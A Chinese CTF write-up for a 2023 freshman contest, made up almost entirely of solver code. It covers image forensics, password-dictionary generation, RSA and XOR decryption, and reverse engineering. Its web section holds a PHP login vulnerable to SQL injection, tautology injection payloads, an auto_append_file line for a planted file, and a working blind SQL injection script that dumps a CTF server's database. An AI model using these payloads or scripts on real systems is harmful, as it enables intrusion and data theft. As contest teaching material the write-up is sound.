2023第四届“安恒杯”CTF新生赛题解

import binascii
import struct

print("PNG宽高检查&爆破")
FileName=input("输入文件地址：")
if(FileName[0]=="\"" and FileName[len(FileName)-1]=="\""):
    FileName=FileName[1:len(FileName)-1]

crcbp = open(FileName, "rb").read()
data_f = crcbp[:12]
data_r = crcbp[29: ]
crc32frombp = int(crcbp[29:33].hex(),16)

w=int(crcbp[16:20].hex(),16)
h=int(crcbp[20:24].hex(),16)

print("宽："+str(w))
print("高："+str(h))

def check_size(data):
    crc32 = binascii.crc32(data) & 0xffffffff
    if(crc32 == crc32frombp):
        return True

data = crcbp[12:16] + \
    struct.pack('>i', w)+struct.pack('>i', h)+crcbp[24:29]

if check_size(data):
    print("校验正确，无需爆破")
    exit(0)
    
print("校验不正确，开始爆破")
OutFileName=FileName[0:len(FileName)-4]+"_fixed.png"

while True:
    minw=int(input("最小宽："))
    maxw=int(input("最大宽："))
    minh=int(input("最小高："))
    maxh=int(input("最大高："))
    print("爆破中...")
    for i in range(minw,maxw+1):
        for j in range(minh,maxh+1):
            data = crcbp[12:16] + \
                struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
            if check_size(data):
                output=open(OutFileName,'wb')
                output.write(data_f + data + data_r)
                print("爆破成功！")
                print("宽：",i)
                print("高：",j)
                print("文件已输出至",OutFileName)
                exit(0)
    print("爆破失败，请重试")

from PIL import Image

def load_pixels_from_txt(txt_path, image_path, image_size):
    # 创建一个新的空白图片
    img = Image.new("RGB", image_size)
    pixels = img.load()

    # 读取文本文件中的像素数据
    with open(txt_path, "r") as file:
        # 将文件中的每行转换为RGB值，并设置对应的像素
        for y in range(image_size[1]):
            for x in range(image_size[0]):
                line = file.readline().strip()
                if line:
                    r, g, b = map(int, line.strip("()").split(","))
                    pixels[x, y] = (r, g, b)

    # 保存图片
    img.save(image_path)

load_pixels_from_txt("QRCode.txt", "reconstructed_image.jpg", (29, 29))

import itertools
import random
import string
import datetime

# 小明的名字拼音
base_name = "xiaoming"

# 最小和最大密码长度
min_length = 17
max_length = 20
# 特殊字符集合
special_characters = "!@#$%^&*()_+-=[]{}|;:,.<>?/\\"

# 生成密码
passwords = []
for index in range(0,8):
    lowername_list = list(base_name)
    lowername_list[index] = lowername_list[index].upper()
    name = ''.join(lowername_list)
    for year in range(2021, 2022):  # 仅包括2021年
        for month in range(1, 13):  # 1到12月
            for day in range(1, 32):  # 1到31日
                try:
                    # 尝试创建日期对象，如果日期不存在会引发异常
                    date_suffix = datetime.date(year, month, day).strftime("%Y%m%d")
                    for char1 in special_characters:
                        for char2 in special_characters:
                            password = name+date_suffix+char1+char2
                            passwords.append(password)
                except ValueError:
                    # 日期不存在，跳过
                    continue

# 将密码保存到文件
with open('password_dictionary.txt', 'w') as file:
    file.write('\n'.join(passwords))

print(f"已生成密码字典，保存到 'password_dictionary.txt' 文件中，共有 {len(passwords)} 个密码。")

<?php
    error_reporting(0);
    session_start();
    include "connect.php";

    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $username = $_POST["username"];
        $password = $_POST["password"];

        $sql = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";
        $result = $conn->query($sql);

        if ($result->num_rows > 0) {
            // User is authenticated, store user information in session
            $_SESSION["username"] = $username;
            $_SESSION["password"] = $password;
            $_SESSION["loggedin"] = true;

            // Redirect to dashboard or home page
            header("Location: dashboard.php");
            exit();
        } else {
            $error = "Invalid username or password";
        }
    }
?>

SELECT * FROM users WHERE username = 'admin' or '1'='1'#' AND password = 'xxx';

SELECT * FROM users WHERE username = 'admin' AND password = '' or '1'='1';

auto_append_file=attack.jpg

$sql = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";

encryptedData: 5NAk0ivg0oDSVbnzdmMyjWiFU+YeF86c9SJQSWR7rTuxHLzuZmFtPII/wU0kGu88

function encryptData(data) {
    var key = CryptoJS.enc.Utf8.parse('4tu39rvb6h3wbif4');
    var iv = CryptoJS.enc.Utf8.parse(key.toString(CryptoJS.enc.Utf8).substr(0, 16));
    var encrypted = CryptoJS.AES.encrypt(JSON.stringify(data), key, {
        iv: iv,
        mode: CryptoJS.mode.CBC,
        padding: CryptoJS.pad.Pkcs7
    });
    return encrypted.toString();
}

document.addEventListener('DOMContentLoaded', function () {
    document.querySelector('button[type="button"]').addEventListener('click', function (event) {
        var username = document.querySelector('input[name="username"]');
        var password = document.querySelector('input[name="password"]');

        var encryptedData = encryptData({ username: username.value, password: password.value });
        document.querySelector('input[name="encryptedData"]').value = encryptedData;

        username.remove();
        password.remove();

        document.querySelector('form').submit();
    });
});

import requests
import json
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad


# AES CBC, padding: Pkcs7
def encryptData(data):
    data = json.dumps(data).encode("utf-8")
    key = "4tu39rvb6h3wbif4"
    iv = key[:16]
    cipher = AES.new(key.encode("utf-8"), AES.MODE_CBC, iv.encode("utf-8"))
    encryptedData = cipher.encrypt(pad(data, AES.block_size))
    encryptedData = base64.b64encode(encryptedData).decode("utf-8")
    return encryptedData


def sendRequest(data):
    url = "http://1a93c69f-925c-4313-a3be-e82f7c46e48c.ctfd-node.stinger.team/"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"encryptedData": encryptData(data)}
    response = requests.post(url, headers=headers, data=data)
    return response.text


def isTrue(passwd: str):
    data = {
        "username": "admin",
        "password": passwd,
    }
    return sendRequest(data).find("Access permitted!") != -1  # 如果登录成功则返回true


def generatePlayload(sql: str, char_index: int, char: int):
    return f"' or ascii(substr(({sql}),{char_index},1))>{char}#"

# 使用二分法获取指定位置的字符
def getChar(sql: str, char_index: int):
    low = 0
    high = 127
    while low < high:
        mid = (low + high) // 2
        if isTrue(generatePlayload(sql, char_index, mid)):
            low = mid + 1
        else:
            high = mid
    return chr(low)


def getLength(sql: str):
    length = 0
    while True:
        if not isTrue(generatePlayload(sql, length + 1, 0)):
            break
        length += 1
    return length + 1


def queryBySQL(sql: str):
    result = ""
    length = getLength(sql)
    print(f"sql: {sql}")
    print(f"length: {length}")
    for i in range(length):
        # 逐个获取字符
        result += getChar(sql, i)
        print(result, end="\r")
    print()
    return result


query0 = "select database()"  # 查询当前数据库名（可选）->ctf
query1 = "select group_concat(table_name) from information_schema.tables where table_schema=database()"  # 查询当前数据库下的所有表名->flag,users
query2 = "select group_concat(column_name) from information_schema.columns where table_name='flag'"  # 查询flag表下的所有列名->id,data
query3 = "select data from flag"  # 查询flag表下的所有数据->flag{...}

queryBySQL(query3)

cj`dyd>3x\A`0Q`O]U^p0>Rhll|
flag{.....................}

c = "cj`dyd>3x\A`0Q`O]U^p0>Rhll|"
add = 3
m = ""
# 解密
for i, char in enumerate(c):
    m += chr(ord(char) + add)
    add -= 1
    if add <= 0:
        add = 3
print(m)

# encrypt.py
from Crypto.Util.number import *
from flag import flag

m = bytes_to_long(flag)
assert size(m) < 360
p = getPrime(512)
q = getPrime(512)
n = q * p
e = 65537
c = pow(m, e, n)
print('p =', p)
print('q =', q)
print('c =', c)

# decrypt.py
from Crypto.Util.number import long_to_bytes

p = 9266056543660540596894853230433714137277477768240817161109767150943725091483376412440366423393090810696352884199521954839288680938321937402144565250668173
q = 8051467402050481462499163607796111674774708671074076046306978426538900731802961937312040570043878089847179385039113681399358308676045964255604069136971199
c = 43941854467939299468268964271726313579657450705314752718510302430415954106542679833030670731953196670055236704623370877982820274247752507416770874350886013221434598673187512882046247451530730137450366205462959748656327653512362501405361695417575283039143792891937365951751255206943780791642745314441009143924
n = p*q
phi = (p-1)*(q-1)
e = 65537
d = pow(e,-1,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

# encrypt.py
from secret import flag

hex_list = [hex(ord(char)) for char in flag]
hex_list = [int(hex_str, 16) for hex_str in hex_list]
i = 1
while i < len(flag):
    hex_list[i] ^= hex_list[i - 1]
    i += 1

hex_list = [hex(int) for int in hex_list]
print(hex_list)
# ['0x66', '0xa', '0x6b', '0xc', '0x77', '0xf', '0x3f', '0x4d', '0x12', '0x7b', '0x8', '0x57', '0x24', '0x14', '0x4b', '0x2e', '0x1a', '0x69', '0x10', '0x4f', '0x27', '0x42', '0x2a', '0x4f', '0x32']

hex = ['0x66', '0xa', '0x6b', '0xc', '0x77', '0x20', '0x48', '0x31', '0x6e', '0x0', '0x6f', '0x1b', '0x44', '0x31', '0x42', '0x27', '0x78', '0x31', '0x75', '0x34', '0x49']
hex = [int(hex_str,16) for hex_str in hex]
flag = "f"
i = 1
while i < len(hex):
    flag += chr(hex[i] ^ hex[i-1])
    i += 1
print(flag)

# 解密RSA加密的消息

import base64
from Crypto.Util.number import getPrime, size, bytes_to_long, long_to_bytes
from gmpy2 import gcd, gmpy2

# 给定的参数
e = 12689622271071317571814245532013847972377339438392054564948322173666197131769716710113715493194406315075864994490775389286286292317570515711884604612401093
n = 28166415082656188513689563821982071536447729660883147291835018056325960930891188453016776248439344244447982511429435923408016584343306149028301013240496510505156475399226458112861413001064078194484119390064672865277258972719734445600042610471101342931633189806536179135874681925981824498285368930999538426918370999993475261716831886959253889577719839944464711789529043781348655291414929186548113985253909961786523683240450801939274818274811419101501030048482164979257167107114899497144700021693810447588849935691651207366971508832962880501778343221424635214770081563496523372830092767056110350694153018683600850431550258362265962022836246538099896056566240999973423303665028663849179250780756763235245143510546992332534872948250568025311581971313750280794307195269748349790631268875544477835351823085174266997606621421102163476115290279487293010486194247907373056986572710691260381080275677915343640497922958038861469430764249975196320763278846102407951693796652921430561037019540210174527894511132777230348282933594437387922592890310592631274653904948315342859349804338904919698732682057341623838179145629027086914861118617808704629823447653575887066249014103336581150340683629844397758853994623134360528918430433743659156969691609939871749042824875669147926719056525540057079243128783712411290951486523435766226016299668190599634792976127908837604501804282506000789247795720087688199958718971688098231103739395075673775211334327562470611331244712805081347177332515809579076823133745781679054729297899479415221839472294479018560597017877693
c = b'IP4FqjCos0GAcYZNgCNDq0vey1frQaOQsXETyWc29im4es0lCGGG+xNlZYxJ8MbLx3czVQ4y0Dp7t6tswyQ43iCdP2ik904QT+vLnIEvW5bChHKPmRsyDBD+p2SaCZEASIAm/V+puiKWIEioQs7B3SqITCw+jNKcJ5AhykyhekHFApZnndpX7Kkd1Ulk2llv0PHxS3BLWU1miTv2nkgmFdVo/6eSYSvqxHVZ72hf7ZltlU0tUmSYJIj8kQfYS3XWbEiCwznJe6ltTlJ22+Dhy6P25RLVdOfhewrP66LKCk12fJW2XdJYrXWdlZAli0kSO7LP/vBJGXyYRA0eLHdfpWp/kHkQDkS4BRlVKbnld+GfZrjlvBaUxKHrC9bVT6BTFA7CSFM9Ws30OgUlnAGF/4euJyVJjarXGyBUvwrgAfTnPMo3UkJG6wJdL++DVsnjyvEOLiFLeQCG+x2MtocnrVJu6bfnoWB27Y6ZDEoTNGy+21j/sc5PLYn7N+nn/QvSkUSSNfvCsRI+Vx4pMOJvvNozksFM3CKX5nIC5bmJjBc2ac5R4E/M3gptd2tnUgkvPAOQqDjOQHahXUO538YYhniCg+tfrGKn0KBaeanf615g8A2tRV5YKT/AQiu6DtOvTkbhh4jUuQOt91DhraCj8M/AtSe2JpIFoAObtuPIYONjGg8ZsYsjjAXlIjmIqqpWeXrhdFT0HpIVDzjW5g9ZtmzmBXafm7CRPfSC8NQwAxS5UPtQx4TS/TMdG0v+0SLNOX0jWGz6tvArtFaddQxid0c6TRspeGhVGmExbTQ1Wix/IdwkS3d9r7hsfQGcyFKs1/LuF+N/bG6OLbMzPJ7dOw=='

# 计算p的五次方
p = 123011670148156067171935017378169146187754569417088208031467924757125444876573376178582752555425433929702259279078270486096811298079151854743684067475773465936777306722083390498141106158684676959748784222921618751967668182812790014845198142516241615533512211354021631481436898405968025433478683545771726278893
n = p**5

# 计算欧拉函数phi
phi = p**5 - p**4

# 计算解密指数d
d = gmpy2.invert(e, phi)

# 解密密文
c = bytes_to_long(base64.b64decode(c))
m = pow(c, d, n)

# 打印解密后的明文
print(long_to_bytes(m))

int __cdecl main(int argc, const char **argv, const char **envp)
{
  std::ostream *v3; // rax
  unsigned int v4; // ebx
  __int64 v5; // rax
  std::ostream *v6; // rax
  char v8[32]; // [rsp+20h] [rbp-60h] BYREF
  char v9[48]; // [rsp+40h] [rbp-40h] BYREF

  _main();
  std::string::basic_string(v9);
  v3 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Please input your flag: ");
  refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v3);
  std::operator>><char>(refptr__ZSt3cin);
  v4 = std::string::length(v9);
  v5 = std::string::c_str(v9);
  base64_encode[abi:cxx11](v8, v5, v4);
  if ( (unsigned __int8)std::operator==<char>(v8, &target) )
    v6 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Congratulations! You got the flag!");
  else
    v6 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Sorry, you are wrong!");
  refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v6);
  std::string::~string(v8);
  std::string::~string(v9);
  return 0;
}

int main() {
  std::ostream *v3; // output stream
  unsigned int v4; // length of input
  __int64 v5; // input
  std::ostream *v6; // output stream
  char v8[32]; // [rsp+20h] [rbp-60h] BYREF
  char v9[48]; // [rsp+40h] [rbp-40h] BYREF

  _main();
  std::string::basic_string(v9);
  v3 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Please input your flag: ");
  refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v3);
  std::operator>><char>(refptr__ZSt3cin); // 这里是输入
  v4 = std::string::length(v9);
  v5 = std::string::c_str(v9);
  base64_encode[abi:cxx11](v8, v5, v4); // 这里是base64编码
  if ( (unsigned __int8)std::operator==<char>(v8, &target) )
    v6 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Congratulations! You got the flag!");
  else
    v6 = (std::ostream *)std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Sorry, you are wrong!");

  refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(v6);

  // 下面这个函数是析构函数，用于释放内存
  std::string::~string(v8);
  std::string::~string(v9);
  return 0;
}

AmxhA3tlAWV4LGBzNy1mBGRzOGIiAmVtBDRyNy05NTIhMjQlMTV5NzI9

ZYXWVUTSRQPONMLKJIHGFEDCBAabcdefghijklmnopqrstuvwxyz0123456789+/

__int64 __fastcall base64_encode[abi:cxx11](__int64 a1, char *a2, int a3)
{
  char *v4; // rax
  int v5; // edx
  char *v6; // rax
  char *v7; // rax
  int v8; // eax
  char v10; // [rsp+21h] [rbp-5Fh]
  char v11; // [rsp+22h] [rbp-5Eh]
  char v12; // [rsp+23h] [rbp-5Dh]
  char v13; // [rsp+24h] [rbp-5Ch]
  unsigned __int8 v14; // [rsp+25h] [rbp-5Bh]
  unsigned __int8 v15; // [rsp+26h] [rbp-5Ah]
  unsigned __int8 v16; // [rsp+27h] [rbp-59h]
  int j; // [rsp+28h] [rbp-58h]
  int i; // [rsp+2Ch] [rbp-54h]

  std::string::basic_string(a1);
  i = 0;
  j = 0;
  while ( a3-- )
  {
    v4 = a2++;
    v5 = i++;
    *(&v14 + v5) = *v4;
    if ( i == 3 )
    {
      v10 = v14 >> 2;
      v11 = ((16 * v14) & 0x30) + (v15 >> 4);
      v12 = ((4 * v15) & 0x3C) + (v16 >> 6);
      v13 = v16 & 0x3F;
      for ( i = 0; i <= 3; ++i )
      {
        v6 = (char *)std::string::operator[](&base64_chars, (unsigned __int8)*(&v10 + i));
        std::string::operator+=(a1, (unsigned int)*v6);
      }
      i = 0;
    }
  }
  if ( i )
  {
    for ( j = i; j <= 2; ++j )
      *(&v14 + j) = 0;
    v10 = v14 >> 2;
    v11 = ((16 * v14) & 0x30) + (v15 >> 4);
    v12 = ((4 * v15) & 0x3C) + (v16 >> 6);
    for ( j = 0; i >= j; ++j )
    {
      v7 = (char *)std::string::operator[](&base64_chars, (unsigned __int8)*(&v10 + j));
      std::string::operator+=(a1, (unsigned int)*v7);
    }
    while ( 1 )
    {
      v8 = i++;
      if ( v8 > 2 )
        break;
      std::string::operator+=(a1, 61i64);
    }
  }
  return a1;
}

import base64

encode_flag = "AmxhA3tlAWV4LGBzNy1mBGRzOGIiAmVtBDRyNy05NTIhMjQlMTV5NzI9"
fake_base64_table = "ZYXWVUTSRQPONMLKJIHGFEDCBAabcdefghijklmnopqrstuvwxyz0123456789+/"
base64_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

trans = str.maketrans(fake_base64_table, base64_table)

true_encode_flag = encode_flag.translate(trans)

decode_flag = base64.b64decode(true_encode_flag).decode()

print(decode_flag)

'kec`4~c?127`)14ad31)52)32=e?7)cba0145a31z5

_BYTE *__fastcall encrypt(const char *a1, __int64 a2)
{
  _BYTE *result; // rax
  int v3[7]; // [rsp+20h] [rbp-30h]
  char v4; // [rsp+3Fh] [rbp-11h]
  int v5; // [rsp+40h] [rbp-10h]
  int v6; // [rsp+44h] [rbp-Ch]
  int j; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]

  v3[0] = 3;
  v3[1] = 7;
  v3[2] = 1;
  v3[3] = 4;
  v3[4] = 5;
  v6 = 5;
  v5 = strlen(a1);
  for ( i = 0; i < v5; ++i )
    *(_BYTE *)(a2 + i) = v3[i % v6] ^ a1[i];
  for ( j = 0; j < v5 - 1; j += 2 )
  {
    v4 = *(_BYTE *)(a2 + j);
    *(_BYTE *)(a2 + j) = *(_BYTE *)(j + 1i64 + a2);
    *(_BYTE *)(a2 + j + 1i64) = v4;
  }
  result = (_BYTE *)(a2 + v5);
  *result = 0;
  return result;
}

# decrypt.py
def decrypt(s):
    s = list(s)
    for i in range(0, len(s) - 1, 2):
        s[i], s[i + 1] = s[i + 1], s[i]
    for i in range(len(s)):
        s[i] = chr(ord(s[i]) ^ [3, 7, 1, 4, 5][i % 5])
    return "".join(s)

print(decrypt('kec`4~c?127`)14ad31)52)32=e?7)cba0145a31z5'))

python ./pyinstxtractor.py nihaoya.exe

def haihaihai(string):
    str1 = ''
    for char in string:
        if char.isalpha():
            if char.islower():
                rep = chr(((ord(char) - ord('a')) + 5) % 26 + ord('a'))
            else:
                rep = chr(((ord(char) - ord('A')) + 13) % 26 + ord('A'))
            str1 += rep
            continue
        if char.isdigit():
            rep = str((int(char) + 5) % 10)
            str1 += rep
            continue
        str1 += char
    shifted_string = str1[-4:] + str1[:-4]
    return shifted_string

input_str = input('请输入字符串: ')
result = haihaihai(input_str)
print(result)

# decrypt.py
def reverse_complex_replace_and_shift(string):
    str1 = ""
    for char in string:
        if char.isalpha():
            if char.islower():
                rev = chr((ord(char) - ord('a') - 5) % 26 + ord('a'))
            else:
                rev = chr((ord(char) - ord('A') - 13) % 26 + ord('A'))
            str1 += rev
        elif char.isdigit():
            rev = str((int(char) - 5) % 10)
            str1 += rev
        else:
            str1 += char
    
    shifted_string = str1[4:] + str1[:4]
    return shifted_string

str2 = input()
str3 = reverse_complex_replace_and_shift(str2)
print(str3)

if ( isValidMove((int)maze, v8, v7) )

01111111111001110000111000001101111111100011111000011111110111000111101110101111011101001110111011011100000110

while ( v6 != 9 || v5 != 10 );

01111111111
00111000011
10000011011
11111100011
11100001111
11101110001
11101110101
11101110100
11101110110
11100000110